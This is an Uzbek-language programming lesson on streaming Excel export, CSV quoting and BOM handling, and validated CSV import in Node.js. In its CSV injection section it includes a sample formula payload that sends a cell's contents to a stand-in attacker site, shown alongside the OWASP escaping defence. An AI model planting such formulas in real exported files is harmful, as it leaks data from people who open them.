Excel va CSV: eksport va xavfsiz import

Qisqacha: Ma'lumotni jadvalga chiqarish (eksport) va foydalanuvchi jadvalini qabul qilish (import) — ikki xil xavf. Eksportda xavf — xotira (100 000 qator oddiy ExcelJS'da RSS ni +643 MB oshirdi, streaming writer'da +21.5 MB) va CSV injection: = bilan boshlangan katak Excel'da formula bo'lib ishlaydi. Importda xavf — ishonchsiz ma'lumot: har qator alohida tekshiriladi va xato qator raqami bilan qaytariladi. O'zbek matni uchun CSV boshida BOM bo'lmasa, Excel Oʻqish ni Oʻqish qilib ko'rsatadi.

Bu darsda

• Katta Excel faylni xotirani to'ldirmasdan oqim bilan yozasiz.
• CSV'ni to'g'ri qo'shtirnoqlaysiz, BOM va kodirovka muammosini tushunasiz.
• CSV injection hujumini va OWASP tavsiya qilgan himoyani ishlatasiz.
• Yuklangan CSV'ni qatorma-qator tekshirib, xatolarni qator raqami bilan qaytarasiz.
• ExcelJS, csv-parse, Papa Parse va SheetJS orasida tanlaysiz.

Oldin bilishingiz kerak: Zod 4 serverda, Async iteratorlar va Web Streams, Backpressure, Ommaviy ma'lumot: COPY, batch va cursor.

Oldingi darsda hisobotni PDF qildik — chop etish uchun. Lekin buxgalter hisobotni o'zgartirmoqchi, saralamoqchi, formulalar qo'shmoqchi. Unga jadval kerak.

1. Nega bu kerak?

Ikki real so'rov:

1. Eksport. Jasur aka: "Barcha vazifalarimni Excel'da bering — o'zim tahlil qilaman." 3 yil ichida 100 000 vazifa.
2. Import. Sardor (stajyor) 500 ta vazifani eski tizimdan CSV qilib olib keldi: "Shuni yuklab bering."

Ikkalasi oddiy tuyuladi. Lekin eksport serverni yiqitishi, import esa bazani axlat bilan to'ldirishi mumkin. Excel faylni ochgan odamning kompyuteri esa hujumga uchrashi mumkin.

2. Excel eksport: ExcelJS

2.1 Ikki rejim

npm i exceljs@4.4.0

ExcelJS'da ikki yo'l bor. Oddiy Workbook — butun kitob xotirada, oxirida yoziladi. stream.xlsx.WorkbookWriter — har qator yozilgach (commit()) xotiradan chiqadi. Kanon 100 000 qatorni (ID, matn, bajarildi, sana, summa) ikkala usulda yozdi:

oddiy:  4130 ms, RSS +643.1 MB, fayl 2.9 MB
stream: 4793 ms, RSS +21.5 MB, fayl 3.2 MB
qayta o'qildi: 100001 qator; 2-qator: [1,"Oʻqish: 1-bob",false,"2026-10-02T00:00:00.000Z",12.5]

• Oddiy rejim: 2.9 MB fayl uchun +643 MB xotira. Uchta foydalanuvchi bir vaqtda eksport qilsa — server ~2 GB yo'qotadi.
• Streaming: +21.5 MB, 30 barobar kam. Bu o'lchovda biroz sekinroq (4.8 s va 4.1 s) va fayl biroz kattaroq (umumiy satrlar jadvali ishlatilmadi).
• Qayta o'qish: 100 000 + sarlavha = 100 001 qator; Oʻ va sana to'g'ri saqlangan.

Maslahat: RSS o'lchovi har ishga tushirishda boshqacha chiqadi: kanonning boshqa bir yurgizishida +926 → +97 MB bo'lgan. Darsda oxirgi o'lchov raqamlari berildi. Xulosa bir xil: streaming xotirani o'nlab barobar kamaytiradi.

2.2 Streaming kodi

import ExcelJS from "exceljs";

const wb = new ExcelJS.stream.xlsx.WorkbookWriter({
  stream: res, // Express javobi — to'g'ridan mijozga
  useStyles: true, useSharedStrings: false,
});
const ws = wb.addWorksheet("Vazifalar");
ws.columns = [
  { header: "ID", key: "id" },
  { header: "Matn", key: "matn", width: 30 },
  { header: "Bajarildi", key: "bajarildi" },
  { header: "Muddat", key: "muddat",
    style: { numFmt: "dd.mm.yyyy" } },
  { header: "Summa (so'm)", key: "summa",
    style: { numFmt: "#,##0.00" } },
];
for await (const q of bazadanQatorlar()) {
  ws.addRow(q).commit(); // qator xotiradan chiqadi
}
ws.commit();
await wb.commit();

• bazadanQatorlar() — bazadan kursor bilan o'qiydigan async generator (Ommaviy ma'lumot: COPY, batch va cursor). 100 000 qatorni bitta SELECT bilan xotiraga olsangiz, streaming yozuvchining foydasi yo'qoladi.
• numFmt — Excel ko'rinishi: sana 28.10.2026, summa 1 250,00 (mintaqa sozlamasiga qarab).
• Kanon faylga yozdi; stream: res — javobga to'g'ridan. Bu variant kanonda sinalmagan.

3. CSV eksport

3.1 Qo'shtirnoqlash qoidasi

CSV (RFC 4180) qoidasi oddiy: maydonda ajratgich, qo'shtirnoq yoki yangi qator bo'lsa — maydon "…" ichiga olinadi, ichidagi " ikkilanadi (""). Kanon csv-stringify 6.9.0 bilan oqim yozdi:

100000 qator: 1422 ms, 4.7 MB
BOM: efbbbf (EF BB BF — Excel Windows'da UTF-8 ni shunsiz cp1251/1252 deb ochadi: 'OÊ»qish' kabi)
Ajratgich: Excel ro'yxat ajratgichi mintaqaga bog'liq (ru/uz sozlamada ';') — sinalmagan (Excel yo'q); variantlar: delimiter ';' yoki XLSX.

100 000 qator — 1.4 s, 4.7 MB (Excel'ning 3 MB idan katta — CSV siqilmagan matn).

3.2 BOM va kodirovka

BOM (Byte Order Mark — bayt tartibi belgisi) — fayl boshidagi EF BB BF baytlari: "bu fayl UTF-8". Excel Windows'da busiz CSV'ni eski kodlashda (Windows-1252) o'qiydi. Natijani o'zimiz ko'ramiz:

const bom = new TextEncoder().encode("\uFEFF");
console.log([...bom].map((b) => b.toString(16)).join(""));
const utf8 = new TextEncoder().encode("Oʻqish");
console.log(new TextDecoder("windows-1252").decode(utf8));
console.log(new TextDecoder().decode(utf8));
const bomli = new TextEncoder().encode("\uFEFFmatn;muddat");
const birinchi = new TextDecoder("utf-8", { ignoreBOM: true })
  .decode(bomli).split(";")[0];
console.log(birinchi.length, birinchi.codePointAt(0).toString(16));

Konsolda:

efbbbf
Oʻqish
Oʻqish
5 feff

• Ikkinchi qator — kanon izohidagi Oʻqish ning aynan o'zi: ʻ UTF-8 da 2 bayt (CA BB), Windows-1252 ularni ikki alohida belgi (Ê, ») deb o'qidi.
• Oxirgi qator — importdagi tuzoq: BOM olib tashlanmasa, birinchi ustun nomi "matn" emas, 5 belgili "\uFEFF" + "matn" bo'ladi. Kod qator.matn ni izlaydi — topmaydi. Kanon csv-parse'da aynan shuni ko'rdi (bom: true siz).

Ajratgich ham muammo: O'zbekiston va Rossiya mintaqa sozlamasida Excel ro'yxat ajratgichi — ; (vergul o'nli kasr uchun band). Kanon Excel'da sinamadi (Excel yo'q). Ikki yo'l: ; bilan CSV yoki XLSX — XLSX'da bu muammo yo'q.

4. CSV injection

4.1 Hujum

Foydalanuvchi vazifa matniga shunday yozdi: =HYPERLINK("http://yomon.example/?d="&A1,"bosing"). Jasur aka eksportni Excel'da ochadi. Katak formula bo'lib ishlaydi: chiroyli "bosing" havolasi chiqadi. Bosilsa, A1 katakdagi ma'lumot hujumchi saytiga ketadi. =, +, -, @ bilan boshlanadigan har katak formula bo'lishi mumkin; tab va CR ham ba'zi dasturlarda.

Himoya (OWASP tavsiyasi): xavfli belgi bilan boshlangan katak boshiga ' qo'yish — Excel uni matn deb ko'rsatadi. Kanon funksiyasi va o'zimizning RFC 4180 qo'shtirnoqlashimiz:

const xavfli = [
  '=HYPERLINK("http://yomon.example/?d="&A1,"bosing")',
  "+1+1", "-2+3", "@SUM(1,1)", "\t=1+1", "\r=1+1",
  "oddiy matn", "-5", "+998901234567",
];
function maydon(v) {
  const s = String(v);
  return /[",\r\n]/.test(s) ? `"${s.replaceAll('"', '""')}"` : s;
}
const ekranla = (v) => (/^[=+\-@\t\r]/.test(v) ? `'${v}` : v);
const korsat = (s) =>
  s.replaceAll("\r", "\\r").replaceAll("\t", "\\t");
for (const v of xavfli) {
  console.log(korsat(maydon(ekranla(v))));
}

Konsolda:

"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+998901234567

Kanonning csv-stringify bilan olgan "ekranlangan" chiqishi bilan qatorma-qator bir xil (korsat — tab va CR ni ko'rinadigan qilish uchun):

ekranlangan (OWASP: boshiga '):
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+998901234567

4.2 Narxi: raqamlar ham ekranlanadi

Oxirgi ikki qatorga qarang: -5 va +998901234567 (telefon raqami) ham ' oldi. Excel ularni endi son emas, matn deb ko'radi — yig'indi hisoblanmaydi. Kanon izohi: qaror ustun turiga qarab. Son ustunini (summa) faqat son qilib yozing (Number) — ekranlash shart emas; matn ustunini (vazifa matni, izoh, ism) har doim ekranlang. XLSX'da ExcelJS qiymat turini o'zi yozadi: satr — satr, formula faqat { formula: … } bilan — shuning uchun XLSX'da bu xavf ancha kichik.

csv-stringify 6.9 da tayyor opsiya bor:

csv-stringify `escape_formulas` opsiyasi: "'=1+1\n'-2\noddiy\n"

Tekshirib ko'ring: Nega himoya eksportda, importda emas? Axir xavfli matn importda bazaga kirgan.

5. CSV import

5.1 Oqim + validatsiya

Kanon ; ajratgichli faylni csv-parse 7.0.3 oqimi bilan o'qib, har qatorni Zod sxemasi bilan tekshirdi:

import { parse } from "csv-parse";
import { z } from "zod";

const Sxema = z.object({
  matn: z.string().trim().min(1).max(100),
  muddat: z.iso.date(),
  ustuvorlik: z.enum(["past", "orta", "yuqori"]),
});
const togri = [], xatolar = [];
try {
  const oqim = createReadStream("import.csv").pipe(parse({
    bom: true, columns: true, delimiter: ";", info: true,
  }));
  for await (const yozuv of oqim) {
    const r = Sxema.safeParse(yozuv.record);
    if (r.success) togri.push(r.data);
    else xatolar.push(`${yozuv.info.lines}-qator: ` +
      r.error.issues.map((i) => `${i.path.join(".")}: ${i.message}`)
        .join("; "));
  }
} catch (e) {
  xatolar.push(`parse to'xtadi: ${e.code} — ${e.message}`);
}

Kirish fayli (7 qator, ataylab xatolar bilan, birinchi belgi — BOM):

matn;muddat;ustuvorlik
Non olish;2026-10-30;yuqori
;2026-10-30;orta
Kitob o'qish;30.10.2026;past
"Qo'shtirnoq ""ichida""";2026-11-01;orta
Uzun;2026-11-01;juda
"yopilmagan;2026-11-01;orta

Natija (kanon):

to'g'ri: [{"matn":"Non olish","muddat":"2026-10-30","ustuvorlik":"yuqori"},{"matn":"Qo'shtirnoq \"ichida\"","muddat":"2026-11-01","ustuvorlik":"orta"}]
xatolar:
  3-qator: matn: Too small: expected string to have >=1 characters
  4-qator: muddat: Invalid ISO date
  6-qator: ustuvorlik: Invalid option: expected one of "past"|"orta"|"yuqori"
  parse to'xtadi: CSV_QUOTE_NOT_CLOSED — Quote Not Closed: the parsing is finished with an opening quote at line 7

• 3-qator — bo'sh matn ("juda kichik: kamida 1 belgi kutilgan").
• 4-qator — 30.10.2026 ISO sana emas. O'zbekistonda foydalanuvchilar shunday yozadi — importda formatni hujjatlang yoki ikkala formatni qabul qiling.
• 6-qator — juda ruxsat etilgan qiymatlardan emas.
• 7-qator — yopilmagan qo'shtirnoq: butun tahlil to'xtadi. Sintaksis xatosidan keyin csv-parse qayerda qator tugashini bilmaydi.
• info.lines — fayldagi haqiqiy qator raqami (sarlavha 1-qator). Foydalanuvchi faylni ochib, aynan shu qatorni topadi.

5.2 Hammasi yoki hech narsa?

Ikki siyosat bor:

Ikkalasida ham bazaga yozish — bitta tranzaksiyada va partiyalab (har 1 000 qator) (Tranzaksiya asoslari). Import uzoq bo'lsa — navbatda, natija hisobot bilan.

5.3 Papa Parse

qatorlar: 6 | xatolar: [{"qator":6,"kod":"MissingQuotes"},{"qator":5,"kod":"TooFewFields"}]

Papa Parse (5.7.0) — brauzerda ham ishlaydi. U o'sha faylni to'xtamasdan o'qidi va xatolarni ro'yxat qildi. Uning row raqami 0 dan va sarlavhasiz hisoblanadi — 6 va 5 — ma'lumot qatorlari indeksi, fayl qatori emas. Kanon shu faylni csv-parse bilan bom: true siz ham o'qidi: birinchi ustun nomi oldida ko'rinmas \uFEFF belgisi turibdi (saytda ko'rinmagani uchun o'sha chiqish qatorini bu yerga ko'chirmadik) — BOM tuzog'ining isboti.

Papa Parse'ning foydasi: frontend faylni yuklashdan oldin ko'rib chiqadi va xatolarni darhol ko'rsatadi. Lekin server baribir o'zi tekshiradi — mijoz tekshiruvi qulaylik, himoya emas.

6. Kutubxonalar xaritasi

SheetJS haqida: npm'dagi xlsx paketi latest — 0.18.5, 2022-yil martdan beri yangilanmagan. Yangi versiyalarni SheetJS o'z CDN'idan tarqatadi (hujjat bo'yicha; kanonda sinalmagan). npm i xlsx bilan eski versiya o'rnatiladi — xavfsizlik yamoqlarisiz. Kanon ExcelJS'ni tanladi. Halol eslatma: ExcelJS ham npm'da 2023-yil oktabrdan beri yangi reliz chiqarmagan (biz npm view bilan tekshirdik, 2026-10-28) — katta loyihada kutubxona holatini o'zingiz kuzating.

flowchart LR
  F[Foydalanuvchi CSV] --> L[Hajm limiti, multipart]
  L --> P[csv-parse oqimi: bom, delimiter]
  P --> V{Zod: qator to'g'rimi?}
  V -->|ha| T[Partiya 1000, tranzaksiya]
  V -->|yo'q| X[Xato: N-qator, maydon]
  T --> D[(Baza)]
  X --> H[Hisobot foydalanuvchiga]

7. Hujumchi nigohi

1. CSV injection. Eksportdagi =, +, -, @, tab, CR. Himoya: matn ustunlarida ' prefiks yoki XLSX.
2. Xotira tugashi (eksport). 1 mln qator oddiy rejimda. Himoya: streaming yozuvchi + bazadan kursor.
3. Ulkan import fayli. 2 GB CSV. Himoya: yuklash limiti (Fayl yuklash: multipart va Multer), qatorlar soni limiti, oqim bilan o'qish.
4. Zip bomba (XLSX). XLSX — ZIP. Kichik fayl ochilganda gigabaytlar. Himoya: XLSX importini cheklang yoki ochilgan hajmni kuzating (Fayl yuklash xavfsizligi).
5. Mass assignment. CSV'da egasi_id ustuni — hujumchi boshqa odamga vazifa yozadi. Himoya: sxema faqat ruxsat etilgan ustunlarni oladi, egasi_id — sessiyadan (Backend'dagi injection va mass assignment).

8. Ko'p uchraydigan xatolar

9. Mashqlar

Mashqlar kurs/mashqlar/29/10-excel-csv/ da.

1-mashq (oson): to'g'ri yoki noto'g'ri

1. UTF-8 BOM — EF BB BF baytlari.
2. CSV injection'dan himoya importda qilinadi.
3. ExcelJS streaming yozuvchida har qatordan keyin commit() chaqiriladi.
4. csv-parse yopilmagan qo'shtirnoqdan keyin qolgan qatorlarni o'qishda davom etadi.

2-mashq (o'rta): qatorma-qator tekshiruv

Zod'siz tekshir(q) funksiyasini yozing: matn (trim'dan keyin 1–100 belgi), muddat (YYYY-MM-DD va haqiqiy sana), ustuvorlik (past|orta|yuqori). Xatolar massivini qaytarsin. Keyin to'rt qatorni tekshirib, to'g'rilar sonini va xatolarni N-qator: … shaklida chiqaring (sarlavha — 1-qator).

const qatorlar = [
  { matn: "Non olish", muddat: "2026-10-30", ustuvorlik: "yuqori" },
  { matn: "  ", muddat: "2026-10-30", ustuvorlik: "orta" },
  { matn: "Kitob o'qish", muddat: "30.10.2026", ustuvorlik: "past" },
  { matn: "Uzun", muddat: "2026-11-01", ustuvorlik: "juda" },
];
const USTUVORLIK = ["past", "orta", "yuqori"];

function tekshir(q) {
  const x = [];
  const matn = q.matn.trim();
  if (matn.length < 1 || matn.length > 100) {
    x.push("matn: 1–100 belgi");
  }
  if (!/^\d{4}-\d{2}-\d{2}$/.test(q.muddat) ||
      Number.isNaN(Date.parse(q.muddat))) {
    x.push("muddat: YYYY-MM-DD");
  }
  if (!USTUVORLIK.includes(q.ustuvorlik)) {
    x.push(`ustuvorlik: ${USTUVORLIK.join("|")}`);
  }
  return x;
}

const togri = [];
const xatolar = [];
qatorlar.forEach((q, i) => {
  const x = tekshir(q);
  if (x.length) xatolar.push(`${i + 2}-qator: ${x.join("; ")}`);
  else togri.push({ ...q, matn: q.matn.trim() });
});
console.log("to'g'ri:", togri.length);
console.log(xatolar.join("\n"));

to'g'ri: 1
3-qator: matn: 1–100 belgi
4-qator: muddat: YYYY-MM-DD
5-qator: ustuvorlik: past|orta|yuqori

3-mashq (qiyin): qo'shtirnoqli CSV o'quvchi

csvOqi(matn, ajratgich = ";") funksiyasini yozing: qatorlar massivini (har biri maydonlar massivi) qaytarsin. Qoidalar: "…" ichida ajratgich va yangi qator — maydonning bir qismi; "" — bitta "; \r e'tiborsiz. Qo'shtirnoq yopilmasa — Error("yopilmagan qo'shtirnoq: N-qator"), N — qo'shtirnoq ochilgan qator. Uch holat bilan sinang.

function csvOqi(matn, ajratgich = ";") {
  const qatorlar = [];
  let qator = [];
  let maydon = "";
  let ichida = false;
  let raqam = 1;
  let boshlangan = 1;
  for (let i = 0; i < matn.length; i++) {
    const c = matn[i];
    if (ichida) {
      if (c === '"' && matn[i + 1] === '"') { maydon += '"'; i++; }
      else if (c === '"') ichida = false;
      else { if (c === "\n") raqam++; maydon += c; }
    } else if (c === '"') {
      ichida = true;
      boshlangan = raqam;
    } else if (c === ajratgich) {
      qator.push(maydon); maydon = "";
    } else if (c === "\n") {
      qator.push(maydon); qatorlar.push(qator);
      qator = []; maydon = ""; raqam++;
    } else if (c !== "\r") {
      maydon += c;
    }
  }
  if (ichida) {
    throw new Error(`yopilmagan qo'shtirnoq: ${boshlangan}-qator`);
  }
  if (maydon !== "" || qator.length) {
    qator.push(maydon);
    qatorlar.push(qator);
  }
  return qatorlar;
}

console.log(csvOqi('matn;holat\n"Qo\'shtirnoq ""ichida""";orta\n'));
console.log(csvOqi('a;"ikki\nqator";b'));
try {
  csvOqi('matn;holat\nNon;orta\n"yopilmagan;orta\n');
} catch (e) { console.log(e.message); }

[ [ 'matn', 'holat' ], [ `Qo'shtirnoq "ichida"`, 'orta' ] ]
[ [ 'a', 'ikki\nqator', 'b' ] ]
yopilmagan qo'shtirnoq: 3-qator

10. Loyiha qadami: kanon tajribasi, loyihaga hali kirmaydi

Bu darsda vazifalar-api ga kod qo'shilmaydi. Kanon ExcelJS (oddiy va streaming), csv-stringify/csv-parse, CSV injection, Zod bilan import va Papa Parse'ni faqat tajribada o'lchadi. Sabab: eksport va import — uzoq ishlar, ular navbatga bog'liq (BullMQ asoslari); import esa auth'ga (kimning vazifalari) — 28-qism.

O'zingiz sinab ko'ring: alohida papkada npm i exceljs@4.4.0, 100 000 qatorni oddiy va streaming rejimda yozing, process.memoryUsage().rss ni har 10 ms da o'lchang. Sizning raqamlaringiz kanondagidan farq qiladi — nisbat esa saqlanadi.

11. Real ishda

• Buxgalteriya, CRM, 1C bilan almashinuv — eksport/import ko'pincha CSV yoki XLSX; ; ajratgich va eski kodlashdagi (Windows-1251) fayllar ham uchrab turadi.
• Bank ko'chirmalari — CSV import, har qator tekshiruv bilan; xatoli qator — qayta ko'rib chiqish navbatiga.
• Admin panellar — "Excel'ga yuklab olish" tugmasi; 10 000 dan ko'p qatorda — fon vazifa va xatga havola.
• Intervyuda: "1 mln qatorli Excel'ni qanday eksport qilasiz?", "CSV injection nima?", "Import xatolarini foydalanuvchiga qanday qaytarasiz?"

Xulosa

• ExcelJS oddiy rejimi 100 000 qatorda +643 MB, streaming +21.5 MB — katta eksport faqat oqim bilan, bazadan kursor bilan.
• CSV: maydonda ", ajratgich yoki yangi qator bo'lsa — qo'shtirnoq, "" — bitta qo'shtirnoq.
• BOM (EF BB BF) bo'lmasa Excel Oʻqish ko'rsatadi; importda BOM olinmasa birinchi ustun nomi buziladi.
• CSV injection: =, +, -, @, tab, CR bilan boshlangan matnga '; son ustunlari — ustun turiga qarab.
• Import: oqim + qatorma-qator validatsiya + qator raqami; yopilmagan qo'shtirnoq tahlilni to'xtatadi.
• SheetJS npm'da 2022 dan yangilanmagan — kanon ExcelJS.

Keyingi dars: Fayl yuklab berish va arxivlash — Content-Disposition bilan to'g'ri nom, Range so'rovlari va bir nechta faylni ZIP oqimi.

Manbalar

• ExcelJS — streaming I/O (WorkbookWriter): https://github.com/exceljs/exceljs#streaming-io
• csv-parse va csv-stringify (bom, info, escape_formulas): https://csv.js.org/
• RFC 4180 — CSV formati: https://www.rfc-editor.org/rfc/rfc4180
• OWASP — CSV Injection: https://owasp.org/www-community/attacks/CSV_Injection
• Papa Parse: https://www.papaparse.com/docs
• SheetJS — o'rnatish (CDN tarqatish): https://docs.sheetjs.com/docs/getting-started/installation/nodejs
• Kanon tajribasi (IlmHamroh, 2026-10-27): exceljs 4.4.0, csv-stringify 6.9.0, csv-parse 7.0.3, papaparse 5.7.0, zod 4.6.7, Node 24.21.0, Windows 11. Excel'ning o'zida ochish — sinalmagan. Ekranlash, BOM, parser va mashq yechimlari — biz ishga tushirdik (2026-10-28).